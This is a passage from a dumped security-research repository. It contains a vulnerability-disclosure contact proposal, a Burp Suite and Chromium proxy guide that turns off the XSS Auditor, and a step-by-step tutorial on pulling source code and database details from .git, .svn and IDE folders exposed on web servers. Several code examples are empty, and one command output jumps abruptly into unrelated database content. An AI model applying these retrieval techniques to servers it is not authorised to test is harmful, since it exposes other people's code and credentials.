Repository: bl4de/research Branch: master Commit: 3a09ddab1b5e Files: 29 Total size: 1.5 MB Directory structure: gitextract_qrnb0wck/ ├── .gitignore ├── README.md ├── VACS-draft.md ├── burp-chromium-setup/ │ └── README.md ├── hidden_directories_leaks/ │ └── README.md ├── how_to_deal_with_dupes/ │ └── hot_to_deal_with_dupes.md ├── javascript-malware-obfuscation/ │ ├── Simple_JavaScript_malware_code_obfuscation_examples.md │ ├── do_not_run.js │ └── do_not_run_deobfuscated.js ├── npm-static-servers-most-common-issues/ │ └── npm-static-servers-most-common-issues.md ├── params.json ├── pwnlab-walkthrough-INCOMLETE.txt ├── raa-ransomware-analysis/ │ ├── README.md │ ├── execution-flow-chart.txt │ ├── extracted/ │ │ ├── dec_cmd_decrypted.js │ │ ├── extracted_rtf.rtf │ │ ├── file01 │ │ └── file01_part.xml │ └── work/ │ ├── test.js │ ├── tmp.js │ ├── tmp2.js │ └── tmp3.js ├── simple-markdown-playground/ │ ├── react-dom.js │ ├── react.html │ ├── react.js │ └── simple-markdown-modified.js └── snippets/ ├── from_shell_injection_to_root.txt ├── mysql_loadintooutfile_backdoor.txt └── rpc.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ hidden_directories_leaks/assets.zip snippets/sqlite_sqlinjection_research.txt .idea/ */**/.idea ================================================ FILE: README.md ================================================ #### Most common security vulnerabilities in npm static content/file servers modules https://github.com/bl4de/research/blob/master/npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md #### Hidden directories and files as a source of sensitive information about web application Some analysis about how to get information about web application from folders like _.git_ , _.idea_ and similar. https://github.com/bl4de/research/tree/master/hidden_directories_leaks As a part of this, I'm working on tool (in Python) to extract data from revealed Git repositories: https://github.com/bl4de/security-tools/tree/master/diggit #### RAA Ransomware JavaScript code analysis Detailed, step-by-step analysis of RAA ransomware, created entirely in JavaScript https://github.com/bl4de/research/tree/master/raa-ransomware-analysis #### Simple JavaScript malware code deobfuscation walkthrough JavaScript malware code deobfuscation step-by-step walkthrough https://github.com/bl4de/research/blob/master/javascript-malware-obfuscation/Simple_JavaScript_malware_code_obfuscation_examples.md ================================================ FILE: VACS-draft.md ================================================ July, 2016 ## Introduction We're living in the Net. All our data, communication, money, work, almost everything depends on billions of zeros and ones traveling all around the world in every single second. We're living in information age and there's no doubt it will be changing our lives more and more in the nearest future. But there's also different story. There are thousands of people trying to steal those data and use them to do bad things. Cybercrime is raising, like never before, and we all should do something to stop this. Things already started to change. Companies like Google, Yahoo!, Mozilla, Microsoft and many others actively support IT Security community providing Bug Bounty programs, looking for software vulnerabilities and sharing knowledge. Conferences like DefCon, BlackHat, CanSecWest, OWASP AppSec and many others all around the world allow people to learn and share information, experience, tools and even more knowledge. Couple of years ago, a new popular way to improve IT security emerged. Bug bounty platforms, like HackerOne, BugCrowd, Synack and Cobalt started to attract companies to run their own Bug Bounty programs. There are hundreds of bug bounty programs running right now with many more to come in the next years. In those programs, thousands of Ethical Hackers, both professional and amateur, young and old, advanced and beginners, men and women, looking for bugs in software, websites, web applications and helping to fix security issues. They are all working for safer web and safer software. They helped to fix tens of thousands security issues so far, providing safer web for all of us. But unfortunately this is not enough. There are millions of websites and web applications in the Internet right now. And as the recent report from Acunetix points - approximately 55% of 45,000 websites (more than a half of forty five thousands) contain at least one serious vulnerability (XSS, SQLi, Remote Code Execution, Local File Include, Remote File Include). And, what is more important, there's almost 9% more than in 2015. As 45,000 is a quite big probe, we can assume that this problem exists in larger scale as well. **This is just a disaster. Couple of weeks ago World Wide Web celebrated its 25th Anniversary. And after 25 years - we're still not able to provide secure websites** ## What is this all about, really? Information. Why so many websites are still so vulnerable? The reason is relatively simple. I found that **in many cases the problem is that website owner simply don't know about vulnerability in their own website**. And this is one thing we should change as soon as possible. Let's be honest - in many cases everything starts from relatively simple level. Let's take a look at some examples: - outdated software like not patched CMS or online e-commerce engine - "selfmade" CMS system with simple SQL Injection, Remote Code Execution or similar high risk vulnerability - Stored XSS vulnerability allowing to steal website administrator credentials and gain access to admin panel - Reflected XSS which allows to inject malware via phishing attack - weak credentials for remote server access, easy to bruteforce, dictionary attack or just trivial to guess - left folders from Git, SVN or any other source version control system repository, which allows to download and read source code - Local File Include vulnerability giving access to website source code contains database credentials - administration panels hidden behind "secret" urls or with very weak credentials (again, easy to guess, bruteforce or exploit with dictionary attack) All vulnerabilities above have couple of things in common: - they are relatively simple to find and prevent - they are also **very simple to find by cybercriminals too** - they are **very easy to exploit** This is not a rocket science and every day I am surprised I can find any of those listed vulnerabilities in just couple of minutes. I did some experiment recently and started to look for vulnerable websites during my lunch break (~30 mins), based on simple Google dorks. I was able to find from five to even twenty vulnerable websites while eating my sandwich (XSS, SQL Injection and LFI were the Top 3). When I find problem in my code, I'm resolving it. If it's a security problem, I'm resolving it even faster. **If I find security problem in someones else code, I'm trying to inform the right person immediately to allow them to fix their code.** In almost every single case, **the problem is that I don't know who exactly I have to or should to notify**. I dig around, obviously 'Contact' and 'About us' are the first places I go. Sometimes I find email like _info@companyname.com_, if I am lucky it's even better, like _webmaster@companyname.com_ If I find something like this, I send my standard notification email where I introduce myself with my full name and surname, what I do and why I contact. Then, I nicely ask about contact information to responsible person which I can provide Proof of Concept of vulnerability, screenshots (if needed) and all technical information about vulnerability I've just found. I do this because I care about web security and I want to help. Really. This is how I can help to make web better and safer place. This is one of many ways I am doing this. Almost in every case I'm trying to provide sample scenario how vulnerability can be used by cybercriminals (eg. phishing attack or maybe even data breach) **My notification email to response ratio is about 20 to 1. Yes, for every twenty emails sent with vulnerability description I'm receiving approximately one response. If any.** Another problem occurs when I just can't find any contact information on the website. In such cases I start to dig for social media accounts, like Twitter or Facebook and try to reach someone using one, if found. So far, it's even worse than emails. **Almost nobody responses using this communication channel even if I see that account is active and fresh tweet or post on Facebook appeared online an hour or day earlier** ## Let's summarize problems we found so far In typical website, either private or corporate, two or three problems occur: #### Problem number one I can not find any IT stuff contact information even if this is very big, well known brand (company), except some _webmasters@company.com_ from almost always I did not get any response anyway, so it's totally useless. #### Problem number two Nobody really cares about what I found. And this is even bigger problem than the first one, because it is a proof that IT Security is **not important** for website owner and I suppose it's not a problem with their website only but with whole IT infrastructure. Nowadays, where cybercrime is a real threat - it's incomprehensible. I'ts **stupid**, it's **ignorance**, it's **lack of basic knowledge of security** #### Problem number three This one is specific for big companies. Internal procedures. Exchange information between departaments. Find the right people to do the right job. The truth is that meetings, conference calls, Excel spreadsheets and "Judy from HR has a new boyfriend" in the kitchen - **they all do not resolve any problems**. Information like mine get stuck somewhere between PR, Marketing and this strange guy from IT which nobody knows, because he is quiet and does not go to company Friday Lunches - somewhere in the middle of Big Company Nowhere. ## Vulnerability Alert Contact Standard proposition In the last couple of years lot of things in security have changed in web browsers and HTML5 specification. CORS prevents website from JavaScript access from other domains. HTTPS is now forced to be default way to communicate between client and server and HSTS header does its job here. XSS Auditor engines in WebKit/Blink-based browsers defends users against obvious XSS attack vectors. Content Security Policy provides a simple way to define scope for resources like JavaScript, CSS and media external sources as well as rules for executing inline JavaScript code. Cookies become more secure thanks to HTTP Only and Secure flags. All the things seemed to be moving to the right direction. But in case of vulnerability still one thing left to be done - someone has to be notified about one to be aware of it and fix it. So far, the best way to do this is by dedicated contact information provided. LinkedIn's https://security.linkedin.com/vulnerability-disclosure is one of examples. Running bug bounty program on platforms like mentioned earlier HackerOne or BugCrowd is even better. But we're not talking about such companies. We're talking about hundreds of thousands of others. My proposition is to provide **Vulnerability Alert Contact Standard** specification, which will allow to setup contact information **in case of vulnerability report only** in form of standard HTML meta tag or custom server HTTP response header (like X-XSS-Protection), dedicated email address (similar to _abuse@companyname.com_) or any other contact form. **My idea is something like 112 (or 911 in US) phone number** - if there's something wrong going on, you just pick up the phone and call that number. **VACS should be something you can use when there is something wrong (from security perspective) with the website you're visiting** ## Technical details of VACS standard ### HTTP Respone header First way to provide VACS contact details is to send dedicated HTTP header in server response. We already have something similar. This is **Content-Security-Policy-Report-Only** HTTP header and it does exactly what its name points to - in case of violation of Content Security Policy rule this header provides ```report-uri``` property, where report should be sent by the browser. In the same way VACS header(s) could be provided: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith@companyname.com ``` To prevent from less sophisticated spam attacks, format of email address in header could be defined in two separate fields: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith Vulnerability-Alert-Contact-Domain: companyname.com ``` In this scenario full VACS email address will be: ``` a.smith@companyname.com ``` Domain header also could be simplified just by directive ```same-domain```, which points to website domain: ``` HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Vulnerability-Alert-Contact: a.smith Vulnerability-Alert-Contact-Domain: same-domain ``` In this scenario full VACS email address for https://google.com will be composed to following one: ``` a.smith@google.com ``` ### HTTP <meta> tag Another way to provide VACS contact could be implemented as HTML `````` tag in `````` section. The meaning of this tag is exactly the same as in HTTP header: ```HTML My Website (...) ``` The same example with ```same-domain``` directive: ```HTML My Website (...) ``` ## Why is this so important for me? And should be for you as well? On 20th of September, Casey Ellis from TechCrunch published very interesting article about vulnerability reporting in medical devices. Most of his article is focused on those devices, but there are couple of universal thoughts valid for IT Security in general: > Vulnerability disclosure ethics are an inherently murky area. There are countless vulnerabilities that exist unpatched in software systems,(...) > Ideally, vulnerabilities are discovered when the vendor learns about them through their own testing or through the help of > security researchers operating under a “Coordinated Disclosure” or bug bounty model. Other times, vulnerabilities found are > kept secret, and used for attack, unbeknownst to the manufacturer or their users. Then there’s what is called “Full > Disclosure,” where discovered vulnerabilities are simply disclosed to the public, sometimes before the vendor has had the > opportunity to respond. These three scenarios are status quo for disclosure. (source: https://techcrunch.com/2016/09/20/hacking-for-investor-profit/ by Casey Ellis, TechCrunch) But more important from my point of view is this fragment: > Full Disclosure is most frequently chosen out of frustration at a slow response or bad communication by the impacted > organization. The risk of Full Disclosure can be mitigated by organizations, firstly by taking whatever steps are necessary > to identify and fix vulnerabilities in the first place, then by establishing clear channels and expectations between security > researchers and vendors around newly identified ones. **Full Disclosure is most frequently chosen out of frustration at a slow response or bad communication by the impacted organization** - this is what you can expect when you ignore Security Reseacrher(s) and their reports about vulnerability found in **your software or website**. Full Disclosure menas someone with not the best intentions can easily use vulnerability **against** your company and causes real problems. Money problems. Your money problems. **The risk of Full Disclosure can be mitigated by organizations, firstly by taking whatever steps are necessary to identify and fix vulnerabilities in the first place...** - that's why Security Reseacrhers and Ethical Hackers send you notifications about vulnerabilities found in your websites, software, network infrastructure and so on. It's like your good neighbour telling you that you left your window open in the morning, when you was leaving your house going to work. What would you do then? Ignore him? Send him a letter with "Thank you!" a week later? Or would you rather go back immediately, close the window and say something like "Hey, thanks Joe! Have a nice day, I own you a beer!" or something similar? **... by establishing clear channels and expectations between security researchers and vendors around newly identified ones** Again, this is all about this post is. Communication channel allowing anyone to report vulnerability found in **your** software. ## What we can do today? Not much to be honest. Beside all websites currently having any type of bug bounty programs or similar, there is nothing called "good practice" to drop somewhere contact information for security issues. So, **if you are web developer and you care about website you've created**: - place somewhere in the source code, in comment (it can be even CSS or JavaScript file, but ideally if it will be at the beginning or the end of HTML) email address and short note what is this email for, like in example: ```HTML (...) ``` - @EdOverflow (https://twitter.com/EdOverflow) maintains a project __Security.txt__ - dedicated file like robots.txt, but for security related issues: > Security.txt is a standard that allows websites to define security policies. This standard sets clear guidelines for security researchers for how to report security issues and allows bug bounty programs to define a scope. Security.txt is the equivalent of robots.txt, but for security issues. Example security.txt file contains information as follows: ``` # In scope targets In-scope: *.example.com # Out of scope targets Out-of-scope: test.example.com # Out of scope vulnerabilities Out-of-scope-vuln: Clickjacking # Our security address Contact: security@example.com # Our HackerOne program Platform: https://hackerone.com/example ``` You can read more about his project here https://github.com/EdOverflow/security-txt - use ```contribute.json``` provided by **Mozilla** and add following JSON: ```JOSN //schema: "bugs": { "properties": { "list": { "type": "string" }, "mentored": { "type": "string" }, "report": { "type": "string" } }, "type": "object" } // example of use (source: https://github.com/mozilla/contribute.json): "bugs": { "list": "https://bugzilla.mozilla.org/buglist.cgi?query_format=advanced&bug_status=UNCONFIRMED&bug_status=NEW&product=www.mozilla.org", "report": "https://bugzilla.mozilla.org/enter_bug.cgi?product=www.mozilla.org&component=Bedrock", "mentored": "https://bugzilla.mozilla.org/buglist.cgi?f1=bug_mentor&o1=isnotempty&query_format=advanced&bug_status=NEW&product=www.mozilla.org&list_id=10866041" } ``` You can find all details about this here: https://www.contributejson.org/ ## Needs some inspiration? If you think about putting such information and you wonder how to do this, I present some great, real world examples below. #### Jet.com - an online store Jet.com already provides bug bounty program on Bugcrowd and communicates it clearly in its HTML source: ```html ``` ## Who else takes care about this? List below contains companies which understand the problem and treat it seriously. If you know any company I should put on this list as well, just let me know. **Twitter** (https://dev.twitter.com/overview/general/security-best-practices) > Have you set up security@yourapplication.com? Do those emails go right to your phone? Make it easy for people to contact you about potential security issues with your application. If someone does report a security flaw to you, be nice to them; they’ve just done you a huge favor. Thank them for their time and fix the issue promptly. It’s fairly common for security researchers to write about vulnerabilities they’ve discovered once the hole has been closed, so don’t be upset if your application ends up in a blog post or research paper. Security is hard, and nobody is perfect. As long as you’re fixing the issues that are reported to you, you’re doing right. ## Thoughts? If you'd like to talk about my idea, why it's bad (or good, I hope), what should I change, remove or add - just ping me on Twitter (https://twitter.com/_bl4de) or send an email (bloorq (AT) gmail.com). I'll try to keep this page up-to-date as long as there will be any feedback and reason to do this. ## Resources Here you can find some links to resources I've mentioned in this writeup. There are not about my idea, but they provide good background to understand the problem and everyone, not only IT Security professionals, should care about web security. - Acunetix Web Application Vulnerability Report 2016 http://www.acunetix.com/acunetix-web-application-vulnerability-report-2016/ - Acunetix Web Application Vulnerability Report 2015 http://www.acunetix.com/acunetix-web-application-vulnerability-report-2015/ - OWASP Open Web Application Security Project https://www.owasp.org/index.php/Main_Page - "Hacking for investor profit" by Casey Ellis (TechCrunch, posted on 20th Sept. 2016) https://techcrunch.com/2016/09/20/hacking-for-investor-profit/ ================================================ FILE: burp-chromium-setup/README.md ================================================ ## Burp Suite and Chromium setup how-to This is quick how-to presents my way to configure Chromium web browser to work with Burp Suite HTTP Proxy. ### Why Chromium As a full time, Full Stack Web Developer I use Chromium-based browsers and runtimes (Chromium, Chrome, Opera, node) all the time in my daily work. I found Developer Tools build in all of those products the most easy, flexible and powerful developer tools ever. Also, Chrome Developer Tools team constantly works on various improvements and big community ships a lot of plugins, which are easy to install and can be easily integrate into Chrome Developer Tools panels. Plugins are available for such frameworks like Angular or React (to name a few) - for web developer they are very useful tools, but not only for them. From web application security researcher point of view, those browsers have one big disadvantage. There is no simple way to set up Burp as proxy just for them, not for the whole system. Actually only one browser allows you to do that and it's Firefox, first choice for many penetration testers because of easy way to set up Burp as proxy just for Firefox using Network/Advanced settings. Unfortunately, Firefox is very slow and its developer tools are far less advanced than in Chromium/Chrome/Opera. Solution for this was to create simple console script with couple of additional options. I'm using this script not only to run Chromium with proxy set to Burp, but also to disable XSS Auditor while testing website or web application for XSS vulnerabilities. But let's start from Burp Suite first. ## Set up Burp Suite Burp Suite Free Edition is one of the best tool any not professional penetration tester, bug hunter or web application security eager (like me) can get (Thanks Portswigger!!!). You can download Burp Suite from this url: https://portswigger.net/burp/download.html After installation run Burp Suite and go to Proxy->Options tab and in Proxy Listeners set up your local address and port you want to use (it can be any available port above 1024 well known ports, 8080 is just set by default) ![Proxy settings](assets/proxy1.png) If you are not familiar with Burp - 'Getting Started With Burp Suite' is likely the best place you can start from: https://portswigger.net/burp/help/suite_gettingstarted.html ### Set up Chromium Chromium, web browser based on Blink HTML engine and V8 JavaScript engine (used also by Chrome, Opera and node projects) can be downloaded from here: https://download-chromium.appspot.com/ Builds are available for all major platforms (OSX, Linux, Android and Windows) ![Chromium download page](assets/chromium.png) As you can see, there is always the newest build available. That's fine, because we don't want to use Chromium as our main web browser or even for testing web applications for our clients (if you're web developer you are already aware of this, aren't you? ;) ) What we want is the newest compilation of Chromium Developer Tools to be able to use it while doing our web application penetration testing or bug bounty stuff. When you run Chromium, you can open its Developer Tools just by clicking F12 on Windows and Linux or CMD+ALT+i on OSX: ![CDT](assets/dt1.png) There are plenty of options available and what I recommend is just to go to this website: https://developer.chrome.com/devtools You can find there everything you will need to become familiar with Chromium Developer Tools. ### Run Chromium with Burp Suite as HTTP Proxy Now, when we have both Chromium and Burp set up, it's time to run them as one, perfect web application killing machine :) Here is my Bash script I am using to run Chromium using Burp as proxy: ```bash #!/bin/bash # # see available options: # http://peter.sh/experiments/chromium-command-line-switches/ # # 8080 - is a standard port for Burp # To disable XSS Auditor in Chromium simply put 0 as second argument, any other value leaves XSS Auditor enabled # echo echo "Usage: chromium [port] [enable xss Auditor]" echo " example:" echo " $ chromium 8080 1 - runs Chromium listening on 8080 and XSS Auditor enabled" # default settings xss_auditor="" port="" if [ $1 -ne 80 ]; then port="--proxy-server=127.0.0.1:$1" fi if [ $2 == 0 ]; then xss_auditor="--disable-xss-auditor" fi echo "[+] running ./Chromium $port $xss_auditor" # update those lines to your system specific path: cd /Applications/Chromium.app/Contents/MacOS ./Chromium $port $xss_auditor ``` Depends on operating system you are using and path to directory where you have installed Chromium you have to modify last two lines (go to directory with Chromium and run Chromium with chosen options). There are two options available in this script (of course you can modify it as you want). First, you may want to pass port number for proxy. So, if you set up Proxy listener port in Burp as 9999, this is the value you have to put in script as the first argument. Second one is a flag to disable Chromium XSS Auditor. XSS Auditor is a build in XSS prevention tool in all Chromium based browsers (Chromium, Chrome and Opera) and it prevents user from some of less sophisticated XSS payloads. From penetration tester or bug bounty hunter point of view it's nice to have an option to disable this prevention. In script above, if you pass 0 - you disable XSS Auditor, any other value leaves it enabled. Here's sample of complete command to run Chromium with proxy litening on 8080 port and XSS Auditor disabled (```chromium``` is name of script I am using): ```bash $ chromium 8080 0 Usage: chromium [port] [enable xss Auditor] example: $ chromium 8080 1 - runs Chromium listening on 8080 and XSS Auditor enabled [+] running ./Chromium --proxy-server=127.0.0.1:8080 --disable-xss-auditor ``` ![Burp and Chromium](assets/burp_with_chromium.png) ## Summary Of course if you are not a fan of console scripts, Bash and all this stuff, you can still run Chromium with all those features (proxy, XSS Auditor disabled) simply by running this command: ``` path_to_chromium_folder/Chromium --proxy-server=127.0.0.1:8080 --disable-xss-auditor ``` There are a lot of other options which can be set while running Chromium. One of the best list of them I found is on this website: http://peter.sh/experiments/chromium-command-line-switches/ If you have any questions just ping me on Twitter (https://twitter.com/_bl4de) or send me an email to bloorq[at]gmail[dot]com. Happy hacking!!! Rafal 'bl4de' Janicki ================================================ FILE: hidden_directories_leaks/README.md ================================================ # Hidden directories and files as a source of sensitive information about web application Hidden directories, left accidentally (or not) on the server, might be a very valuable source of sensitive data leaks. There's a lot of hidden directories: source code version systems folders and files (.git, .gitignore, .svn), any of .rc files (.npmrc, package.json, .htaccess), any not standard configuration files with common extensions, like config.json, config.yml, config.xml and many others. There's a lot of web servers where there's no problem to find such files with a lot of sensitive information. Let's take a look at them in more details. # Table of Contents - [Source code version control systems](#source-code-version-control-systems) - [Git](#git) - [Subversion](#subversion-svn) - [IDE project files](#ide-project-files) - [JetBrains IntelliJ, PHPStrom, WebStorm](#jetbrains-ides---intellij-webstorm-phpstorm) - [NetBeans](#netbeans-ide) - [ActiveState Komodo IDE](#activestate-komodo-IDE) - [Developer Tools configuration files](#developer-tools-configuration-files) - [Recommended tools](#recommended-tools) # Source code version control systems ## Git Git is "(...)a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency (https://git-scm.com/)". With GitHub.com web service it's one of the most popular source code version control system right now, especially in open source world. Also, a lot of companies use its own GitHub-like service (Gitlab - see https://about.gitlab.com/). ### Basic information about Git objects Newly created Git repository contains some default folder and files, where all information are stored. Here's sample .git folder, with one commit done. ![.git folder structure with single commit](assets/git_directory_structure.png) Let's take a look at this from attacker point of view. Git repository content is written in objects. All of them are stored in .git/objects folder. Objects can be one of three types: _commit_, _tree_ and _blob_. *_Commit_* is an information about commit, with current tree (folders and files structure) object hash. *_Tree_* contains information about folders and files structure - and every single folder or file has its own object hash stored in tree object. It might be another tree (folder which is one level down in the folders structure) or file. *_Blob_* is Git object type where files content are saved. In other way - if you know an object hash of the particular file, you can read content of this file using *git cat-file* command. When you find .git folder on web server, there's simple way to get content of any file, just by downloading and reading Git objects. To make sure that .git folder is available just check if you get HTTP 403 response (or similar, but not 404, because it means there's no .git folder on this server or in this location): ![.git repository found on the server](assets/how-to-find.png) ### Reflecting remote files and folders using local Git repository To be able to do this, you have to create your own, local dummy .git repository with skeleton folder structure and download Git objects from remote server. First, create dummy Git folder: ``` $ git init ``` This will initialize empty Git repository with all required files and folders. ### Retrieving and reading information about objects To start retrieving information from Git repository, first we have to find starting point. Git saves all information in log file and this file is available at _.git/logs/head_ ![.git/logs/file example](assets/git_logs_head_file.png) If _.git/logs/head_ does not work, but _.git_ returns Forbidden 403, which means it's there, try _.git/logs/HEAD_ instead Let's take a look a little bit closer to sample line of this file: ``` 0000000000000000000000000000000000000000 07603070376d63d911f608120eb4b5489b507692 bloorq@gmail.com 1452195279 +0000 commit (initial): index.php initial commit ``` First two strings are object hashes (previous and current commit) - and this is exactly what we are looking for. As this is the very first commit, first hash contains only 0 (it's dummy one), but second one contains informations about commit. First we have to create valid path to object. Path contains common path to all objects in repository, which is _.git/objects_ and then there are two parts build from hash - a directory name (first two signs from hash) and filename (rest of it). So to get object identified by hash 07603070376d63d911f608120eb4b5489b507692, we should try to retrieve following url: _localhost/testapp/.git/objects/07/603070376d63d911f608120eb4b5489b507692_ And - here we are - file download popup: ![Downloading object file](assets/download_object_file.png) Remember - you have to save this file in your dummy Git folder created earlier - this is the simplest way to be able to read content of Git objects. So make sure that you saved it in exactly the same location: _path-to-your-dummy-git-repository/.git/objects/07/603070376d63d911f608120eb4b5489b507692_ To check the type of object, you can use following command: ``` $ git cat-file -t ``` To display the content of the object, use this command: ``` $ git cat-file -p ``` Now, we can check the type and read content of saved object (I'm doing this on original repository on my localhost, but you will get exactly the same result on your machine for any Git repository - the hash is the key :) ) ![Execute Git cat-file commands on downloaded object](assets/git-commands.png) When you look at commit description, you can find an information about actual tree object hash - as I mentioned earlier, tree contains information about current folder structure. Using the same method as above it's simple to see how it looks like: ![Current repository files structure](assets/git-commands-2.png) We're very close. As you can see, currently there's only one file, _index.php_, and also we know its object hash and type, which is _blob_. And this is what we need to see content of file using the same method as we've used to read content of _commit_ and _tree_ objects before (first you have to download object from web server, as described above): ![index.php content](assets/git-commands-3.png) Voila! Now it is important to remember that this is content of _index.php_ as it was when commit described by object 07603070376d63d911f608120eb4b5489b507692 was done. If you take a look at log file, you can see that there was second commit (identified by object hash 4db7a14eee2cd3ff529278b75e1653e677fe1d02) and as it is last commit - it contains all last changes - maybe content of _index.php_ differs from what we have seen so far? Following all steps (read commit content to find tree hash, then read tree to find index.php hash and so on), we will see actual content of _index.php_: ``` bl4de on Rafals-MacBook in /Library/WebServer/Documents/testapp $ git cat-file -p a4215057b6545240452087ad4d015bf9b5b817c5 .databases seq name file --- --------------- ---------------------------------------------------------- 0 main /Users/bl4de/hacking/playground/wc.db sqlite> .dump PRAGMA foreign_keys=OFF; BEGIN TRANSACTION; CREATE TABLE REPOSITORY ( id INTEGER PRIMARY KEY AUTOINCREMENT, root TEXT UNIQUE NOT NULL, uuid TEXT NOT NULL ); INSERT INTO "REPOSITORY" VALUES(1,'svn+ssh://192.168.1.4/var/svn-repos/project_wombat','88dcec91-39c3-4b86-8627-702dd82cfa09'); (...) INSERT INTO "NODES" VALUES(1,'trunk',0,'',1,'trunk',1,'normal',NULL,NULL,'dir',X'2829','infinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL); INSERT INTO "NODES" VALUES(1,'',0,NULL,1,'',1,'normal',NULL,NULL,'dir',X'2829','infinity',NULL,NULL,1,1456055578790922,'bl4de',NULL,NULL,NULL,NULL); INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL); INSERT INTO "NODES" VALUES(1,'trunk/test2.txt',0,'trunk',1,'trunk/test2.txt',3,'normal',NULL,NULL,'file',NULL,NULL,'$sha1$6f3fb98418f14f293f7ad55e2cc468ba692b23ce',NULL,3,1456056740296578,'bl4de',27,1456056696000000,NULL,NULL); (...) ``` See INSERT operations to NODES table? Each of them contains filename and SHA1 hash, which corresponds to entry in _pristine/_ folder: ```bash $ ls -lA pristine/94/ total 8 -rw-r--r--@ 1 bl4de staff 38 Feb 21 12:05 945a60e68acc693fcb74abadb588aac1a9135f62.svn-base ``` To map value from NODES to filename, we need to: - remove _$sha1$_ prefix - add _.svn-base_ postfix - use first two signs from hash as folder name inside _pristine/_ directory (94 in this case) - create complete path, which will be: ``` http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base ``` When we try to open this path in the browser, we should be able to download file or display its content directly in browser: ![How to read content of file](assets/svn_read_file.png) Also, an entry in REPOSITORIES table point to original repository path, which is: ``` svn+ssh://192.168.1.4/var/svn-repos/project_wombat ``` There's a lot of information here. Leaving _.svn_ folder on the web server is a huge mistake and can be very dangerous and it means full compromise of web application source code. # IDE project files IDE (Integrated Development Environment) used by many of developers have one in common - they save project's settings and a lot of additional information in their own files, created for each project separately. If such folder has been left on web server - this is yet another source of information about web application. Let's take a look a little bit closer and as example we use my favorite JetBrains products (https://www.jetbrains.com/). ## JetBrains IDEs - IntelliJ, WebStorm, PHPStorm Every project developed with one of JetBrains product creates its own hidden directory, _.idea/_. This directory contains all information about project, files, directories and IDE settings. ![sample .idea directory](assets/idea_tree.png) One of those files is extremely valuable from Security Researcher point of view. _workspace.xml_ contains a lot of useful information, which allows to enumerate all files and folders, source version control system information and many others. We spot them step by step: ```xml (...) (...) (...) ``` All nodes in _component name="FileEditorManager"_ contains all files and their relative paths (to project's root directory). Simply saying - it's just XML-wrapped result of Bash command _ls_ executed in main project folder :) If you take a closer look at every _component_ node, you'll find information about used control version system, like in this example: ```xml ``` Also, there are information about commits and other tasks executed on project files, in node _component name="TaskManager"_: ```xml (...) 1436206418000 (...) ``` Another interesting thing might be changes history, stored in _component name="ChangeListManager"_ node: ```xml (...) (...) ``` as well as in _component name="editorHistoryManager"_ node: ```xml (...) (...) ``` If developer used to manage database with integrated DB manager, there are another very interesting files: _dataSources.ids_ where you can find databases structure, _dataSource.xml_, _dataSources.xml_, _dataSources.local.xml_ and _dbnavigator.xml_ contains example information: ```xml ``` or even more, like _dataSources.local.xml_: ```xml master_key root mywebapp.* mywebapp.* ``` Everything depends on project itself, used IDE plugins (like debugger, source version control or DB manager). In general, it is worth to take a look around and investigate every _component_ node. As you can see, this is very interesting source of information. I suggest you to download any JetBrains IDE (they offer 30 days trials of almost every product, even more - you can download IntelliJ Idea Community or PyCharm Community and use it for free), then create sample project, add some folders and files, try to manage Git or SVN, create sample database connection and play around with Database Manager - and then dig into _.idea/_ folder to see what you can find there. ## NetBeans IDE NetBeans (https://netbeans.org/) is another very popular, free IDE for Java, C/C++, PHP, HTML5 and JavaScript development. Currently supported (and owned) by Oracle, NetBeans becomes an official IDE for Java applications and it's absolutely free and open source. NetBeans, as JetBrains IDEs, creates its own folder in project's root folder, contains all project settings - _nbproject/_ NetBeans is not as verbose as IntelliJ, PHPStorm or WebStorm, but you can still find some interesting information, which might be helpful when you are looking for particular attack vector against vulnerable web application. _project.xml_ is a good point to start investigating NetBeans project configuration. ![NetBeans project configuration](assets/nb_tree.png) ## ActiveState Komodo IDE Unfortunately, Komodo IDE does not provide any information about project, the only file I've found in directory with project files was short XML file with content below: ```xml ``` Filename is created using simple patter: project name, then dot, then 'komodoproject' postfix: ```bash $ ls -l | grep komodo -rw-r--r-- 1 bl4de staff 300 Feb 4 23:19 bwapp.komodoproject ``` All project information Komodo IDE stores in folders not accessible from web server - as far as you don't find Local File Include vulnerability, of course - but if you find LFI, I don't think you will have to find Komodo project configuration file anymore ;) # Miscellaneous developer tools configuration files There's a lot of configuration files of additional developer tools, which names mostly start with dot and contain a lot of information about used technologies, libraries, some directories not available directly from the browser or even not detectable by tools like DirBuster (http://sourceforge.net/projects/dirbuster/). Some examples of these tools are _npm_ (https://www.npmjs.com/), linters for JavaScript, like ESlint (http://eslint.org/), Bower package manager (http://bower.io/) and many others. Let's take a look at sample _bower.json_ file, which contains configuration for Bower and contains list of packages used in web application (frontend side): ```bash { "name": "testapp", "version": "2.1.0", "authors": [ "Rafal 'bl4de' Janicki " ], "description": "test application", "main": "index.html", "moduleType": [ "globals" ], "license": "MIT", "dependencies": { "angular": "1.4", "pure": "~0.5.0", "angular-route": "~1.2.26", "angular-ui-router": "~0.2.11", "angular-bootstrap-datetimepicker": "latest", "angular-translate": "~2.6.1" }, "devDependencies": {} } ``` Maybe more interesting from security point of view is similar file for _Node.js_ or _io.js_ backend application - _package.json_ (if you find the way to read this file from web server, by for example Local File Include error - see https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion for more information about LFI). As it is a list of server side details - used packages, like database connectors, middleware components and so on - this file could contains a lot of valuable information about potential vulnerable software. Sample _package.json_ shows, that there's MySQL database used (probably) and some client-server communication via WebSockets: ```bash { "name": "Test application server dependencies", "version": "1.0.0", "author": "bl4de", "dependencies": { "socket.io": "^1.3.5", "mysql": "^2.9.0" } } ``` There are also files like _.bowerrc_, _.eslintrc_, _.jshintrc_ and similar. As they not contain very sensitive information, there's always a chance that you can find some details about web application architecture, used libraries and/or frameworks, or even some valuable information put in 